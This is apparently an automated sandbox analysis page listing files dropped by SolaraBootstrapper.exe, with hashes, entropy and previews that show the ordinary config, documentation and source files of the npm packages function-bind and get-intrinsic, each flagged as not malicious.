SHA-256:	D1EF27C0F368368A239A99363DC04D7C2DBCB9B62D1A4107390A6DC52B901F1F
SHA-512:	F8FF3E8F2106D508A3E6F570E1048F1DDF55802AE4B92C8773A78B2B0859EBC4F7F4D505D3098A8630F2E43628911AF4698937047614CCF3ED65BCCC625F4D20
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",..."rules": {..."func-name-matching": 0,..."indent": [2, 4],..."no-new-func": [1],..},..."overrides": [...{...."files": "test/**",...."rules": {....."max-lines-per-function": 0,....."strict": [0]....},...},..],.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\function-bind\.github\FUNDING.yml

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	584
Entropy (8bit):	4.704323638057467
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggMvS0lgM01bZBgMoGbQjgMy9gMLz4MI:qoQWAg0g+H0mgqlg7g1GegJ9gEz4D
MD5:	8B5CA374A81BFABAD8ADB91C7244FA31
SHA1:	86434EDEE8DBD5A90D05C58E2F680889151B43AE
SHA-256:	728EFC32EE016CE1B42D6B8848548B7F3540D5E0BA2966EFCA1774D132493D52
SHA-512:	BD346335C77613BF87D26C7B8EE248360034B80A61F1CE853B63A3FF8452EB645066696D54B2D4F74A9BF8C51338612696AA0977D47DA0FBB7D63E70F223382B
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/function-bind.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'].

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\function-bind\.github\SECURITY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	157
Entropy (8bit):	4.587168296986176
Encrypted:	false
SSDEEP:	3:SG8xlLCKANRGEd5PWXCRVY82ARyGHGp1DmxUA61qsGpqDDC6eyg9vn:SxexNR3fVY8f0Gg1DmqosGp4DC6eX
MD5:	23030733BF7C5F821E7CBFF6098811BD
SHA1:	F3007F87EC7C209F84E7D64DAEB07D76E8DF1F6E
SHA-256:	DD880FBE091E1B4FE671EF6E4879F7D144A64C0A3B21CE9B498C62C082FF3E50
SHA-512:	B2754AC2808558A38F2D705C776677E2100F914266849CF92214504C8B8F210889B13107FBEFB80948E8C5319D01700450EF81C77D565BFBE76F4AE349140C3C
Malicious:	false
Preview:	# Security..Please email [@ljharb](https://github.com/ljharb) or see https://tidelift.com/security if you have a potential security vulnerability to report..

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\function-bind\.nycrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	216
Entropy (8bit):	4.771900676344982
Encrypted:	false
SSDEEP:	6:Kw9OfyFdRaB9yq2TpR6S8U7XfUGUiMIOJHhBK:5O6FTaB9WTpR65U7cAMjJHe
MD5:	C2AB942102236F987048D0D84D73D960
SHA1:	95462172699187AC02EAEC6074024B26E6D71CFF
SHA-256:	948366FEA3B423A46366326D0BB2E54B08ABD1CF0B243678BA6625740C40DA5A
SHA-512:	E36B20C16CEEB090750F3865EFC8D7FD983AE4E8B41C30CC3865D2FD4925BF5902627E1F1ED46C0FF2453F076EF9DE34BE899EF57754B29CD158440071318479
Malicious:	false
Preview:	{.."all": true,.."check-coverage": false,.."reporter": ["text-summary", "text", "html", "json"],.."lines": 86,.."statements": 85.93,.."functions": 82.43,.."branches": 76.06,.."exclude": [..."coverage",..."test"..].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\function-bind\CHANGELOG.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	13812
Entropy (8bit):	5.309396607218774
Encrypted:	false
SSDEEP:	192:EgiS7nrUEmUnibLgidptekRP5AC7mQ+EpYVWgWFh/R:Ea7rUEm0ibc4qkRf+EyVWFj
MD5:	3623B76F4135F25494E1AB7A9B1FCE05
SHA1:	774E2641FE81D4D87FE6150FA80B9D7034524448
SHA-256:	C44D3C98A0CF4F95FEF7845DA104DECA900D24853589767BBEB380406CE1DAB2
SHA-512:	79D2A20F751F77F0013EB88D7675345D86FC10B82C81BC8A1CF7F7AE71323B2C747EBA1E53991360CA97A4564EF6CD114EBD7653E81665420F5151FD6DD0AE40
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v1.1.2](https://github.com/ljharb/function-bind/compare/v1.1.1...v1.1.2) - 2023-10-12..### Merged..- Point to the correct file [`#16`](https://github.com/ljharb/function-bind/pull/16)..### Commits..- [Tests] migrate tests to Github Actions [`4f8b57c`](https://github.com/ljharb/function-bind/commit/4f8b57c02f2011fe9ae353d5e74e8745f0988af8).- [Tests] remove `jscs` [`90eb2ed`](https://github.com/ljharb/function-bind/commit/90eb2edbeefd5b76cd6c3a482ea3454db169b31f).- [meta] update `.gitignore` [`53fcdc3`](https://github.com/ljharb/function-bind/commit/53fcdc371cd66634d6e9b71c836a50f437e89fed).- [Tests] up to `node` `v11.10`, `v10.15`, `v9.11`, `v8.15`, `v6.16`, `v4.9`; use `nvm install-latest-npm`; run audit script in tests [`1fe8f6e`](ht

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\function-bind\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1052
Entropy (8bit):	5.099415027434423
Encrypted:	false
SSDEEP:	24:U6rmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5v:U6aJHlxE35QHOs5exm3ogF5v
MD5:	E7417C1A8AD83F88BCAC21AD440D48B2
SHA1:	290336F3DA86F5F9A91A231B058C5588AAA9F606
SHA-256:	773E131A7684726005A7E4688A80B4620033BC08499BC1404DD1A1EB3BCA725E
SHA-512:	0CFEF7E9352FC517CEE64D1D2866F76A66536555483ECF7EAF3D158E800DE787FDDB35D18955E6E8D5A39CA2A91347664F61237F5957F359959DDB895BB72283
Malicious:	false
Preview:	Copyright (c) 2013 Raynos...Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONNECTION WITH THE SOFT

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\function-bind\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	1755
Entropy (8bit):	4.992805275903098
Encrypted:	false
SSDEEP:	48:F1eI4IUO2sfqtR/WG5pNPsjNZt0lMDCs+TIL0ISI1sv:XXFOv+7NLx7Y
MD5:	E9CF820D7FDAACFEFA8A583A32D1BBD5
SHA1:	A8DB4C2F387C42EB753011F48C5C4626D8E82635
SHA-256:	305FC05A184A5AFA3766893BE87D24E4C0F2E8561B66463A51AEE4B196B1DC48
SHA-512:	949896C073FFDE372377ED4BEE5FDC58CD4642F09A9D1F41577FEA520B82F291860746D46C6224BD2EDB19155561CA0FE2DADB3F24D020F9ACDA84E418471421
Malicious:	false
Preview:	# function-bind <sup>[![Version Badge][npm-version-svg]][package-url]</sup>..[![github actions][actions-image]][actions-url]. [![coverage][codecov-image]][codecov-url]-->.[![dependency status][deps-svg]][deps-url].[![dev dependency status][dev-deps-svg]][dev-deps-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][npm-badge-png]][package-url]..Implementation of function.prototype.bind..Old versions of phantomjs, Internet Explorer < 9, and node < 0.6 don't support `Function.prototype.bind`...## Example..```js.Function.prototype.bind = require("function-bind").```..## Installation..`npm install function-bind`..## Contributors.. - Raynos..## MIT Licenced..[package-url]: https://npmjs.org/package/function-bind.[npm-version-svg]: https://versionbadg.es/Raynos/function-bind.svg.[deps-svg]: https://david-dm.org/Raynos/function-bind.svg.[deps-url]: https://david-dm.org/Raynos/function-bind.[dev-deps-svg]: https://david-dm.org/Raynos/fu

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\function-bind\implementation.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2043
Entropy (8bit):	4.456604868832058
Encrypted:	false
SSDEEP:	48:GFyJqQx6PnbMWQc3iQk/iZkzGblas0axYAN931kV:GtQ6Q2iQ2JuasXxYANoV
MD5:	90FFC505F9A898A56DAB665F19BD1798
SHA1:	42321136A108882E353520FFF3411FBFCB798B5B
SHA-256:	5C52EB40601E0716DAFFF9759CF28D8D4AF3E2FC2E2C96384F43DBFD0F7370B5
SHA-512:	E84278468B4A653E408E04836899909ED8E5C9422596D25EFF35D627F5136FAE019FFA688DD5FC85343DDBCA02E3B7A798E3F46F940CE9A6428AEC8D7C11A904
Malicious:	false
Preview:	'use strict';../* eslint no-invalid-this: 1 */..var ERROR_MESSAGE = 'Function.prototype.bind called on incompatible ';.var toStr = Object.prototype.toString;.var max = Math.max;.var funcType = '[object Function]';..var concatty = function concatty(a, b) {. var arr = [];.. for (var i = 0; i < a.length; i += 1) {. arr[i] = a[i];. }. for (var j = 0; j < b.length; j += 1) {. arr[j + a.length] = b[j];. }.. return arr;.};..var slicy = function slicy(arrLike, offset) {. var arr = [];. for (var i = offset \|\| 0, j = 0; i < arrLike.length; i += 1, j += 1) {. arr[j] = arrLike[i];. }. return arr;.};..var joiny = function (arr, joiner) {. var str = '';. for (var i = 0; i < arr.length; i += 1) {. str += arr[i];. if (i + 1 < arr.length) {. str += joiner;. }. }. return str;.};..module.exports = function bind(that) {. var target = this;. if (typeof target !== 'function' \|\| toStr.apply(target) !== funcTy

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\function-bind\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	126
Entropy (8bit):	4.472691384444496
Encrypted:	false
SSDEEP:	3:agWIFMZpREqQYyUcVJYREqXfvvIKzBbEbeVXKHqL6KpREqLvn:QLEbJ8EQfvvIKzBAbKXKHqL6KEMv
MD5:	80C4B0103888A6175E5579DEDBAB1EA3
SHA1:	F761BC101BF315E6124F737D1691AAA77E507253
SHA-256:	12FA1B92429DB25599F6FE118CBBB877F7F62B83CB9BFE2FC896B2D6A8110647
SHA-512:	9D0FAD8B2BA96D9488E35476F9F47CA0D81A2DD7002F8EF2EF2563F861789A6F049590B0BEF2326C2E513E9E1EBF005D71FED6F8F6CD54F91B76DE9030654F3D
Malicious:	false
Preview:	'use strict';..var implementation = require('./implementation');..module.exports = Function.prototype.bind \|\| implementation;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\function-bind\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2262
Entropy (8bit):	4.819261067622333
Encrypted:	false
SSDEEP:	48:ik7R5iSZa02b6lc0ssb44tag3M9S/YsEg4PpMHYv4+xyiyxVjSQ9m:iAMcV2h0sQeL3PpMHYwOyiyx5SQ0
MD5:	325C50ACB9DD3D834589C1AEB318C9A8
SHA1:	1FDCD92C6AD33CFAB1C556504198E29A38759A7C
SHA-256:	EDB1C4FAF4148E6E3D74ED8DBAC1A1DC359A647FF4207AAD4851396DC7A3559A
SHA-512:	64B9C2664DC03826A4B03E50FE73A02C7AA28E864B537CD834DFE3F05C4E31DB32E4B3789D7BBAA531C018D9A6035407B4879EDEB9B492781989DF932E3B1B9B
Malicious:	false
Preview:	{. "name": "function-bind",. "version": "1.1.2",. "description": "Implementation of Function.prototype.bind",. "keywords": [. "function",. "bind",. "shim",. "es5". ],. "author": "Raynos <raynos2@gmail.com>",. "repository": {. "type": "git",. "url": "https://github.com/Raynos/function-bind.git". },. "funding": {. "url": "https://github.com/sponsors/ljharb". },. "main": "index",. "homepage": "https://github.com/Raynos/function-bind",. "contributors": [. {. "name": "Raynos". },. {. "name": "Jordan Harband",. "url": "https://github.com/ljharb". }. ],. "bugs": {. "url": "https://github.com/Raynos/function-bind/issues",. "email": "raynos2@gmail.com". },. "devDependencies": {. "@ljharb/eslint-config": "^21.1.0",. "aud": "^2.0.3",. "auto-changelog": "^2.4.0",. "eslint": "=8.8.0",. "in-publish": "^2.0.1",. "npmignore": "^0.3.0",. "nyc": "^10.3.2",. "safe-publish-latest": "^2.0.0",. "tape": "^5.7.1"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\function-bind\test\.eslintrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	176
Entropy (8bit):	4.668736421183359
Encrypted:	false
SSDEEP:	3:e5NeVHEiHob/vHHEiAJZ0S9/vHHI0FEmpRERZGbty4nMPW/vJVHL26AXWHfFqv:e5NSHEiILrAXrhq2RI0ty36vJtL2rQG
MD5:	BB3B1AC6315F16027A8E514B44DB203C
SHA1:	186EDBBB64903B71F1C530ED81347CA000B3B673
SHA-256:	63CDAA0CB9C27170EAB17635114928F01E23665054B7AC15538B7BE2FC3EB495
SHA-512:	BB46C3961CB122ADB4C0A9B088A2B8D03D9CFEF64E28F90C078DDB2E0995DD5A27A75AB7A5E13E02A8BECD8F9FF54747A9EDFFB54B68BE1ED4974D479969D5BC
Malicious:	false
Preview:	{.."rules": {..."array-bracket-newline": 0,..."array-element-newline": 0,..."max-statements-per-line": [2, { "max": 2 }],..."no-invalid-this": 0,..."no-magic-numbers": 0,..}.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\function-bind\test\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8991
Entropy (8bit):	4.374619018777284
Encrypted:	false
SSDEEP:	96:Wi5z1X/zaW/PW2rqETStE6BINAzeQFpmzowYdF9s4/lNdyaud1KpGl:WiJ1ba8Z6WuegpYowsF99NNdPud1WGl
MD5:	9786942AEEFCDC12B2F841895EDE1647
SHA1:	09E08FB38653410A851B6B2FAB5700F93A3B76F2
SHA-256:	32BA00E232DC250A945BDB23461A7346F6029D31B595AA2046BF386AAB6A91E9
SHA-512:	9B919BDC5AF513FF2386951CBA6DA3D5DE9D66D907C4D502788059BB58B518F666FD6C5F044361D6251912D54F842A5C31E7FC8EF6AE04F1D89D68E38071D520
Malicious:	false
Preview:	// jscs:disable requireUseStrict..var test = require('tape');..var functionBind = require('../implementation');.var getCurrentContext = function () { return this; };..test('functionBind is a function', function (t) {. t.equal(typeof functionBind, 'function');. t.end();.});..test('non-functions', function (t) {. var nonFunctions = [true, false, [], {}, 42, 'foo', NaN, /a/g];. t.plan(nonFunctions.length);. for (var i = 0; i < nonFunctions.length; ++i) {. try { functionBind.call(nonFunctions[i]); } catch (ex) {. t.ok(ex instanceof TypeError, 'throws when given ' + String(nonFunctions[i]));. }. }. t.end();.});..test('without a context', function (t) {. t.test('binds properly', function (st) {. var args, context;. var namespace = {. func: functionBind.call(function () {. args = Array.prototype.slice.call(arguments);. context = this;. }). };. namespace.func(1, 2, 3

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\get-intrinsic\.eslintrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	603
Entropy (8bit):	4.743418809624205
Encrypted:	false
SSDEEP:	12:Erz54bz1SnZfN9iIZVtxyeqRkR6FRvwr2reLSxNHH2NLZGsX:Erd4bz16ZfXkeUY6rvwCrem2JJ
MD5:	C02DA4AFD6075E9009CC89DF0485FF87
SHA1:	4FAC42F73CF7F5BB55190EC7A86369FF3E147F1E
SHA-256:	B92CD3F3A532DFAD193110E917A613C1A26273E234A145234363F1E54F27D622
SHA-512:	2BEB5257D29313074D9FE528367766F95222FB6F21F4DDF07131E739F57816D1E376921935464EFC6D3F9D29F88C9CA56F9F8956CA1E3AD1E7B38F89D05E35C2
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",..."env": {..."es6": true,..."es2017": true,..."es2020": true,..."es2021": true,..."es2022": true,..},..."rules": {..."array-bracket-newline": 0,..."complexity": 0,..."eqeqeq": [2, "allow-null"],..."func-name-matching": 0,..."id-length": 0,..."max-lines": 0,..."max-lines-per-function": [2, 90],..."max-params": [2, 4],..."max-statements": 0,..."max-statements-per-line": [2, { "max": 2 }],..."multiline-comment-style": 0,..."no-magic-numbers": 0,..."sort-keys": 0,..},..."overrides": [...{...."files": "test/**",...."rules": {....."new-cap": 0,....},...},..],.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\get-intrinsic\.github\FUNDING.yml

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	584
Entropy (8bit):	4.692655741889681
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggMB4elgM01bZBgMoGbQjgMy9gMLz4MI:qoQWAg0g+H0mgCVlg7g1GegJ9gEz4D
MD5:	AF4549C7E764D6B75715C3F1001FBA09
SHA1:	63DDFBD389E372A51B629A9C64AE1BAAEC6BE25B
SHA-256:	24CAFAE83831C946115236F57F58E0D4797A3E7F6BCC8AD87B88A69D15A520C6
SHA-512:	F81CD995A21702B797118E0171844842541E93BC461455339B1B1E16181E6E56765316A3CC3B2C816E87D337A15754231405E2510386329F0561733165356FC8
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/get-intrinsic.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'].

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\get-intrinsic\.nycrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	139
Entropy (8bit):	4.461548676043605
Encrypted:	false
SSDEEP:	3:uFx3jG9UDHfa7aBA9c4RIeeFHqpvc9PNUaUifEIkHJ03WhBK:Kw9OfyFdRaB9LUiMIOJHhBK
MD5:	D0104F79F0B4F03BBCD3B287FA04CF8C
SHA1:	54F9D7ADF8943CB07F821435BB269EB4BA40CCC2
SHA-256:	997785C50B0773E5E18BF15550FBF57823C634FEFE623CD37B3C83696402AD0A
SHA-512:	DAF9B5445CFC02397F398ADFA0258F2489B70699DFEC6CA7E5B85AFE5671FDCABE59EDEE332F718F5E5778FEB1E301778DFFE93BB28C1C0914F669659BAD39C6
Malicious:	false
Preview:	{.."all": true,.."check-coverage": false,.."reporter": ["text-summary", "text", "html", "json"],.."exclude": [..."coverage",..."test"..].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\get-intrinsic\CHANGELOG.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	11640
Entropy (8bit):	5.310659923997118
Encrypted:	false
SSDEEP:	192:EgITPRuHtbXe5Dv0IHfKuWDY5KXp9L72d:EngH1O5b0Ufs159Wd
MD5:	92681891DF0037DC97EC7266C832B879
SHA1:	AF20E1513FE522C4FCBA142C8B680B1E2B6EC818
SHA-256:	3F2ACA786DDB5189B3748C4B217CB1FEDDD1F1B1AC40009C01E36E78B15E3598
SHA-512:	744D634AD2BF20A5C95690C3A3696C417F685704D7BFE5340C3767632F7A14B88023151796748D7261828B80CC9815F93111F49066892012403B624CC5FC18EA
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v1.2.4](https://github.com/ljharb/get-intrinsic/compare/v1.2.3...v1.2.4) - 2024-02-05..### Commits..- [Refactor] use all 7 <+ ES6 Errors from `es-errors` [`bcac811`](https://github.com/ljharb/get-intrinsic/commit/bcac811abdc1c982e12abf848a410d6aae148d14)..## [v1.2.3](https://github.com/ljharb/get-intrinsic/compare/v1.2.2...v1.2.3) - 2024-02-03..### Commits..- [Refactor] use `es-errors`, so things that only need those do not need `get-intrinsic` [`f11db9c`](https://github.com/ljharb/get-intrinsic/commit/f11db9c4fb97d87bbd53d3c73ac6b3db3613ad3b).- [Dev Deps] update `aud`, `es-abstract`, `mock-property`, `npmignore` [`b7ac7d1`](https://github.com/ljharb/get-intrinsic/commit/b7ac7d1616fefb03877b1aed0c8f8d61aad32b6c).- [meta] simplify `

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\get-intrinsic\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	5.099362344791979
Encrypted:	false
SSDEEP:	24:tPsrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:VsaJHlxE3dQHOs5exm3ogFh
MD5:	0EB2C73DAA0ECF037CBDF3D0BB0C98D5
SHA1:	7087A92577C86806338A363A88A9A3B4F762E26D
SHA-256:	39C5EC504CF6BD5CD782A7C695828E09189DF79F5D94840E4F08FEB97B9FD416
SHA-512:	12A2A3BF2ABAFA5E3F669278EE332C87E4A164CFE54EF6019CA8B5F3D41F38F10224D52F471D0256AAD6600DEC9FB3A1EDF3C84F38CC9F1CFD4EB9A2AF8A0066
Malicious:	false
Preview:	MIT License..Copyright (c) 2020 Jordan Harband..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONN

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\get-intrinsic\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2791
Entropy (8bit):	5.1300644620154205
Encrypted:	false
SSDEEP:	48:r1eI4IFO2sfq6M6bvPLGqIEqixViPVGH3Ie+RwxIL0I9IPv:RXFbOvjI2XIPLxqX
MD5:	42F69E4537122E0DD7C9D963A5C0D6BE
SHA1:	1D3D1DA1074299E58E264904B12BB07318C856BC
SHA-256:	15F5365E3E1D4182780423363296E53408FF4254DC958A6E52A05A7DCEE324B4
SHA-512:	80A2B8309960E2CDE280A3A06F95CF1EB0709F2E317AF37EB1AF41A717F9619DB5C3EAC15482A3FEC2DC93E114C3C3C8799AD16D016D689F8077E8DCF1F5A480
Malicious:	false
Preview:	# get-intrinsic <sup>[![Version Badge][npm-version-svg]][package-url]</sup>..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![dependency status][deps-svg]][deps-url].[![dev dependency status][dev-deps-svg]][dev-deps-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][npm-badge-png]][package-url]..Get and robustly cache all JS language-level intrinsics at first require time...See the syntax described [in the JS spec](https://tc39.es/ecma262/#sec-well-known-intrinsic-objects) for reference...## Example..```js.var GetIntrinsic = require('get-intrinsic');.var assert = require('assert');..// static methods.assert.equal(GetIntrinsic('%Math.pow%'), Math.pow);.assert.equal(Math.pow(2, 3), 8);.assert.equal(GetIntrinsic('%Math.pow%')(2, 3), 8);.delete Math.pow;.assert.equal(GetIntrinsic('%Math.pow%')(2, 3), 8);..// instance methods.var arr = [1];.assert.equal(GetIntrinsic('%Array.prototype.push%')

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\get-intrinsic\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	13615
Entropy (8bit):	5.299667489870541
Encrypted:	false
SSDEEP:	192:1TAxS8+GNVcJHPjETpPuanx+Hyhs1CGZiNZaVlvsoDJOgZMvOwpcdWvyo/fAlrHK:z8+AgWBKdhmEzVlcv/
MD5:	7FD37B7099EB69F0FC8EE86A47F69E16
SHA1:	3E22F15B73CAE1EB4E6F72224190AEB09F784866
SHA-256:	5D72DDB504858C1109FA106FFA9BE744EA99E75F9255F9FF28851562C5EB7031
SHA-512:	42F4CE801DC5C7ED0BC0F1D9559F2706DECE6160999A8D48FDFC77467D986871FC8601B0AE0E3F2C5BC63402F866F441556100805EE7F3FDDEF5BA67DA68A231
Malicious:	false
Preview:	'use strict';..var undefined;..var $Error = require('es-errors');.var $EvalError = require('es-errors/eval');.var $RangeError = require('es-errors/range');.var $ReferenceError = require('es-errors/ref');.var $SyntaxError = require('es-errors/syntax');.var $TypeError = require('es-errors/type');.var $URIError = require('es-errors/uri');..var $Function = Function;..// eslint-disable-next-line consistent-return.var getEvalledConstructor = function (expressionSyntax) {..try {...return $Function('"use strict"; return (' + expressionSyntax + ').constructor;')();..} catch (e) {}.};..var $gOPD = Object.getOwnPropertyDescriptor;.if ($gOPD) {..try {...$gOPD({}, '');..} catch (e) {...$gOPD = null; // this is IE 8, which has a broken gOPD..}.}..var throwTypeError = function () {..throw new $TypeError();.};.var ThrowTypeError = $gOPD..? (function () {...try {....// eslint-disable-next-line no-unused-expressions, no-caller, no-restricted-properties....arguments.callee; // IE 8 does not throw here...

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\get-intrinsic\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2414
Entropy (8bit):	5.10585146540838
Encrypted:	false
SSDEEP:	48:oehqPRYCZUPagS4j09yRYsEg47TOsqTWMU1yO1F3fSoAOKjHK8CL:osCS4337TOfTEYO33f4OKjH8
MD5:	322602876E4A7E2716019566CA203F85
SHA1:	13C1C48939DE200BD2C5FA41A90FB9C0588A2EAB
SHA-256:	A8BF389C3F2229E681F007B25AA8FA6BF3641E00DDDA1E101AF4F9E98A9F6199
SHA-512:	85406165CACC77786C1A2CE86AB0BA16F5FAF976C1EB362588CB44DC5CE39E2CACB736DF911DAAAA09CB2BEE96E9A7C2E2651245CCD1516F34E0BA44159421E6
Malicious:	false
Preview:	{.."name": "get-intrinsic",.."version": "1.2.4",.."description": "Get and robustly cache all JS language-level intrinsics at first require time",.."main": "index.js",.."exports": {...".": "./index.js",..."./package.json": "./package.json"..},.."sideEffects": false,.."scripts": {..."prepack": "npmignore --auto --commentLines=autogenerated",..."prepublish": "not-in-publish \|\| npm run prepublishOnly",..."prepublishOnly": "safe-publish-latest",..."prelint": "evalmd README.md",..."lint": "eslint --ext=.js,.mjs .",..."pretest": "npm run lint",..."tests-only": "nyc tape 'test/*/.js'",..."test": "npm run tests-only",..."posttest": "aud --production",..."version": "auto-changelog && git add CHANGELOG.md",..."postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \"v$(node -e \"console.log(require('./package.json').version)\")\""..},.."repository": {..."type": "git",..."url": "git+https://github.com/ljharb/get-intrinsic.git"..},.."keywords": [..."ja

